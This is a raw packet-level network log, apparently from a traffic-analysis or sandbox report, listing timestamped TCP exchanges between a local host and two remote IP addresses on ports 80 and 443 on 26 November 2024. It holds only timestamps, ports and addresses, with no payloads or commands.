Nov 26, 2024 10:09:33.950316906 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.950330973 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.950376034 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.951190948 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.951271057 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.951287985 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.951299906 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.952092886 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.952107906 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.952135086 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.952148914 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.953181982 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.953229904 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.953263044 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.953301907 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.954109907 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.954133987 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.954153061 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.954169035 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.955121040 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.955136061 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.955164909 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.955183029 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.956007004 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.956048965 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.956058025 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.956111908 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.956882954 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.956898928 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.956924915 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.956938028 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.957731962 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.957747936 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.957768917 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.957787991 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.958406925 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.958422899 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.958450079 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.958465099 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.959001064 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.959017038 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.959044933 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.959060907 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.959758997 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.959775925 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.959805965 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.959815979 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.960442066 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.960634947 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.960659981 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.960696936 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.961328983 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.961381912 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.961735964 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.961780071 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.962208986 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.962253094 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.962321043 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.962368965 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.963212013 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.963227987 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.963255882 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.963272095 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.964035034 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.964049101 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.964076042 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.964092970 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.964921951 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.964936972 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.964962959 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.964987993 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.965704918 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.965747118 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.965776920 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.965817928 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.966651917 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.966667891 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.966696024 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.966720104 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.967468977 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.967521906 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.967602968 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.967649937 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.968378067 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.968394995 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.968445063 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.969183922 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.969270945 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.969320059 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.970041990 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.970057011 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.970086098 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.970108986 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.971065998 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.971081972 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.971112013 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.971124887 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.971853971 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.971894979 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.972309113 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.972353935 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.972999096 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.973014116 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.973041058 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.973054886 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.973830938 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.973875046 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.973962069 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.973999023 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.975548983 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.975613117 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.975980043 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.976027012 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.977128029 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.977308035 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.977329016 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.977479935 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.978620052 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.978673935 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.978724003 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.980194092 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.980210066 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.980240107 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.980257988 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.981445074 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.981555939 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.981643915 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.981699944 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.983175993 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.983222961 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.983222961 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.983290911 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.983848095 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.983892918 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.983980894 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.984147072 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.984574080 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.984620094 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.984911919 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.984968901 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.985445976 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.985461950 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.985491991 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.985508919 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.986304045 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.986319065 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.986356974 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.986370087 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.987521887 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.987538099 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.987571955 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.987585068 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.988121986 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.988163948 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.988328934 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.988370895 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.988986015 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.989001989 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.989041090 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.989660978 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.989700079 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.989710093 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.989752054 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.990386009 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.990427017 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.990459919 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.990556002 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.991158009 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.991238117 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.052676916 CET	443	49844	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:34.052733898 CET	443	49844	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:34.052817106 CET	49844	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:34.053042889 CET	49844	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:34.053065062 CET	443	49844	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:34.053091049 CET	49844	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:34.053097010 CET	443	49844	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:34.056070089 CET	49858	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:34.056086063 CET	443	49858	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:34.056155920 CET	49858	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:34.056328058 CET	49858	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:34.056334972 CET	443	49858	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:34.142220020 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.142281055 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.142345905 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.142381907 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.142751932 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.142801046 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.142827988 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.142863035 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.143240929 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.143281937 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.143644094 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.143687963 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.143811941 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.143855095 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.144535065 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.144627094 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.144876957 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.144918919 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.145839930 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.145854950 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.145899057 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.145930052 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.146905899 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.147018909 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.147275925 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.147376060 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.148065090 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.148116112 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.148279905 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.148370028 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.148915052 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.148962975 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.149127007 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.149663925 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.149868965 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.149914980 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.150091887 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.150136948 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.150732994 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.150775909 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.150803089 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.150846004 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.151777029 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.151793003 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.151829004 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.151854992 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.152544022 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.152606964 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.152630091 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.152671099 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.153474092 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.153518915 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.153707027 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.153753042 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.154673100 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.154748917 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.154838085 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.154877901 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.155510902 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.155560970 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.155565977 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.155596018 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.156250954 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.156306028 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.156421900 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.156497002 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.156912088 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.156928062 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.156958103 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.156977892 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.157715082 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.157826900 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.157866955 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.158554077 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.158579111 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.158595085 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.158610106 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.159279108 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.159379959 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.159413099 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.159451008 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.160108089 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.160124063 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.160168886 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.161084890 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.161101103 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.161135912 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.161989927 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.162044048 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.162077904 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.162120104 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.162928104 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.162944078 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.162969112 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.162983894 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.163634062 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.163702011 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.163754940 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.163789988 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.164495945 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.164541006 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.164803982 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.164859056 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.165493965 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.165613890 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.165617943 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.165652990 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.166321993 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.166395903 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.166619062 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.166660070 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.167355061 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.167381048 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.167404890 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.167414904 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.168145895 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.168195963 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.168395996 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.168478966 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.169228077 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.169277906 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.169517994 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.169564009 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.170272112 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.170320034 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.170452118 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.170490026 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.171024084 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.171072006 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.171092987 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.171127081 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.171741962 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.171793938 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.171828985 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.171879053 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.172842979 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.172895908 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.172950029 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.172986984 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.173832893 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.173871994 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.173929930 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.173968077 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.174747944 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.174829960 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.174839973 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.174874067 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.175570011 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.175617933 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.175818920 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.175856113 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.176417112 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.176651955 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.177387953 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.177436113 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.177478075 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.177493095 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.177526951 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.178188086 CET	80	49766	185.215.113.206	192.168.2.5
